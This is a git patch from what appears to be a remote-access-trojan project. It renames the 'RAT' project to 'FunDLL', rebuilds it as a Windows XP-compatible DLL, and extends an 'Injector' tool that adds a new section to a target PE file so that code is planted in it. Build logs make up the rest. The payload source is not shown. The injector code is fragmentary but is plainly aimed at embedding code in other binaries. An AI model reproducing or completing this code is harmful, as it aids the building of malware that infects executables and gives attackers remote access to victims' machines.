From 3d2d70ec7fd211fbfdf606aab5bba38daab83ffa Mon Sep 17 00:00:00 2001
From: hellisabove <59116609+hellisabove@users.noreply.github.com>
Date: Mon, 3 Jul 2023 02:56:04 +0300
Subject: [PATCH] Switched to release and renamed some stuff
---
{RAT => FunDLL}/RAT.vcxproj | 17 +++++++++--------
{RAT => FunDLL}/RAT.vcxproj.filters | 0
{RAT => FunDLL}/RAT.vcxproj.user | 0
{RAT => FunDLL}/fundll.cpp | 0
Injector/Source.cpp | 12 ++++++++++++
Injector/x64/Debug/Injector.Build.CppClean.log | 12 ++++++++++++
Injector/x64/Debug/Injector.log | 4 +++-
RAT/x64/Debug/FunDLL.Build.CppClean.log | 15 ---------------
RAT/x64/Debug/RAT.log | 1 -
RAT/x64/Debug/RAT.vcxproj.FileListAbsolute.txt | 0
10 files changed, 36 insertions(+), 25 deletions(-)
rename {RAT => FunDLL}/RAT.vcxproj (92%)
rename {RAT => FunDLL}/RAT.vcxproj.filters (100%)
rename {RAT => FunDLL}/RAT.vcxproj.user (100%)
rename {RAT => FunDLL}/fundll.cpp (100%)
delete mode 100644 RAT/x64/Debug/FunDLL.Build.CppClean.log
delete mode 100644 RAT/x64/Debug/RAT.log
delete mode 100644 RAT/x64/Debug/RAT.vcxproj.FileListAbsolute.txt
diff --git a/RAT/RAT.vcxproj b/FunDLL/RAT.vcxproj
similarity index 92%
rename from RAT/RAT.vcxproj
rename to FunDLL/RAT.vcxproj
index f4d8206..584e5c9 100644
--- a/RAT/RAT.vcxproj
+++ b/FunDLL/RAT.vcxproj
@@ -23,7 +23,7 @@
Win32Proj
{c7e129b4-8a7e-4e5c-a259-573609675fed}
RAT
- 10.0
+ 7.0
FunDLL
@@ -48,11 +48,11 @@
true
- Application
+ DynamicLibrary
false
- v143
+ v141_xp
true
- Unicode
+ MultiByte
@@ -128,15 +128,16 @@
Level3
true
true
- true
- NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
- true
+ false
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;RAT_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
+ false
- Console
+ Windows
true
true
true
+ 5.01
diff --git a/RAT/RAT.vcxproj.filters b/FunDLL/RAT.vcxproj.filters
similarity index 100%
rename from RAT/RAT.vcxproj.filters
rename to FunDLL/RAT.vcxproj.filters
diff --git a/RAT/RAT.vcxproj.user b/FunDLL/RAT.vcxproj.user
similarity index 100%
rename from RAT/RAT.vcxproj.user
rename to FunDLL/RAT.vcxproj.user
diff --git a/RAT/fundll.cpp b/FunDLL/fundll.cpp
similarity index 100%
rename from RAT/fundll.cpp
rename to FunDLL/fundll.cpp
diff --git a/Injector/Source.cpp b/Injector/Source.cpp
index bf63b3d..d5a449b 100644
--- a/Injector/Source.cpp
+++ b/Injector/Source.cpp
@@ -1,4 +1,5 @@
#include
+#include
DWORD AlignSectionHeader(DWORD section_size, DWORD alginment, DWORD address) {
if (!(section_size % alginment))
@@ -54,14 +55,25 @@ INT main(INT arg, PCHAR argv[]) {
}
image_optional_header->SizeOfImage = image_section_header[PESections].VirtualAddress + image_section_header[PESections].Misc.VirtualSize;
+ image_file_header->NumberOfSections += 1;
+ if (SetFilePointer(x_file, 0, NULL, FILE_BEGIN) != INVALID_SET_FILE_POINTER) {
+ // add section
+ WriteFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
+ }
}
}
+ LocalFree(dll_buffer);
}
}
}
+ CloseHandle(code_file);
}
}
+ LocalFree(file_buffer);
}
+ CloseHandle(x_file);
}
+ else
+ printf("\nUSE: %s section name target dll\n",argv[0]);
}
\ No newline at end of file
diff --git a/Injector/x64/Debug/Injector.Build.CppClean.log b/Injector/x64/Debug/Injector.Build.CppClean.log
index e69de29..0ecb3c6 100644
--- a/Injector/x64/Debug/Injector.Build.CppClean.log
+++ b/Injector/x64/Debug/Injector.Build.CppClean.log
@@ -0,0 +1,12 @@
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\vc141.pdb
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\vc141.idb
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\source.obj
+c:\users\hellisabove\source\repos\rat\x64\debug\injector.ilk
+c:\users\hellisabove\source\repos\rat\x64\debug\injector.exe
+c:\users\hellisabove\source\repos\rat\x64\debug\injector.pdb
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\cl.command.1.tlog
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\cl.read.1.tlog
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\cl.write.1.tlog
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\link.command.1.tlog
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\link.read.1.tlog
+c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\link.write.1.tlog
diff --git a/Injector/x64/Debug/Injector.log b/Injector/x64/Debug/Injector.log
index 5f28270..91aed5e 100644
--- a/Injector/x64/Debug/Injector.log
+++ b/Injector/x64/Debug/Injector.log
@@ -1 +1,3 @@
-
\ No newline at end of file
+ Source.cpp
+c:\users\hellisabove\source\repos\rat\injector\source.cpp(26): warning C4312: 'type cast': conversion from 'BOOL' to 'PIMAGE_DOS_HEADER' of greater size
+ Injector.vcxproj -> C:\Users\hellisabove\source\repos\RAT\x64\Debug\Injector.exe
diff --git a/RAT/x64/Debug/FunDLL.Build.CppClean.log b/RAT/x64/Debug/FunDLL.Build.CppClean.log
deleted file mode 100644
index a26586c..0000000
--- a/RAT/x64/Debug/FunDLL.Build.CppClean.log
+++ /dev/null
@@ -1,15 +0,0 @@
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\vc141.pdb
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.obj
-c:\users\hellisabove\source\repos\rat\x64\debug\fundll.lib
-c:\users\hellisabove\source\repos\rat\x64\debug\fundll.exp
-c:\users\hellisabove\source\repos\rat\x64\debug\fundll.ipdb
-c:\users\hellisabove\source\repos\rat\x64\debug\fundll.iobj
-c:\users\hellisabove\source\repos\rat\x64\debug\fundll.dll
-c:\users\hellisabove\source\repos\rat\x64\debug\fundll.pdb
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\cl.command.1.tlog
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\cl.read.1.tlog
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\cl.write.1.tlog
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\fundll.write.1u.tlog
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\link.command.1.tlog
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\link.read.1.tlog
-c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\link.write.1.tlog
diff --git a/RAT/x64/Debug/RAT.log b/RAT/x64/Debug/RAT.log
deleted file mode 100644
index 5f28270..0000000
--- a/RAT/x64/Debug/RAT.log
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/RAT/x64/Debug/RAT.vcxproj.FileListAbsolute.txt b/RAT/x64/Debug/RAT.vcxproj.FileListAbsolute.txt
deleted file mode 100644
index e69de29..0000000